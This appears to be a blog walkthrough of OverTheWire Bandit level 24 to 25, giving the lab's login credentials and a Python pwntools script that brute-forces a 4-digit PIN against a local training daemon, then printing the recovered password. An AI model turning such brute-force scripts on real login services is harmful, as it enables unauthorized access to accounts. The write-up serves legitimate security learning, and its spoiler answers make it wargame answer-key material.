OverTheWire - Bandit - Level 24 → Level 25

Warning: This post contains a solution!

Continue only if:
1.) you want to see a possible alternative solution or
2.) you are stuck and need a hint!


Connect to the server using the following credentials:

Server: bandit.labs.overthewire.org
Port: 2220
Username: bandit24
Password: UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Level Goal is:

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

First of all create a temporary folder to work in.

bandit24@bandit:~$ mkdir /tmp/lvl2425

Next, check manually how the daemon is working. To do so, connect to port 30002 on localhost using telnet or in my case nc.

bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.

From the description we know, that we have to send the password from the current level and a 4-digit pincode separated by a space. To brute-force the pincode, we need to know, what the error message looks like. Just enter the password from the current level and a dummy 4-digit pincode and see what happens.

bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.

UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4242
Wrong! Please enter the correct pincode. Try again.

Now we know the error message and can react to it in our brute-force script.

I've written the script in python and used the pwntools CTF toolkit for the first time here, but there are tons of other possible solutions.

#!/usr/bin/python
from pwn import *
from multiprocessing import Process

def brute(nrOne,nrTwo):
    for pin in range(nrOne,nrTwo):
        pin = str(pin).zfill(4)

        r = remote('127.0.0.1', 30002)
        r.recv()
        r.send('UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ ' + pin + '\n')

        if 'Wrong' not in r.recvline():
            print '[+] Successful -> ' + pin
            print r.recvline()
            r.close()
        else:
            if int(pin) % 100 == 0:
                print '[!] Failed -> ' + pin
            r.close()

if __name__=='__main__':
    p1 = Process(target = brute, args = (0,2500,))
    p2 = Process(target = brute, args = (2500,5000,))
    p3 = Process(target = brute, args = (5000,7500,))
    p4 = Process(target = brute, args = (7500,10000,))
    p1.start()
    p2.start()
    p3.start()
    p4.start()

The script is overengineered for this task, but I wanted to play around with pwntools and Process, after a long long time not using python. I've started the brute function four times and assigned a pincode range to each process to speed up the task. After a short time the password for the next level appears.
SILENT=1 disables the pwntools output that appears every time a connection is established or closed.

bandit24@bandit:/tmp/lvl2425$ python brute.py SILENT=1
...
[!] Failed -> 5000
[!] Failed -> 5100
[!] Failed -> 5200
[!] Failed -> 5300
[!] Failed -> 5400
[!] Failed -> 8000
[!] Failed -> 3000
[!] Failed -> 0500
[!] Failed -> 5500
[!] Failed -> 8100
[!] Failed -> 3100
[!] Failed -> 5600
[!] Failed -> 0600
[+] Successful -> 8106
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

The password is: uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Don't forget to delete the temporary folder:

bandit24@bandit:~$ rm -rf /tmp/lvl2425
Show Comments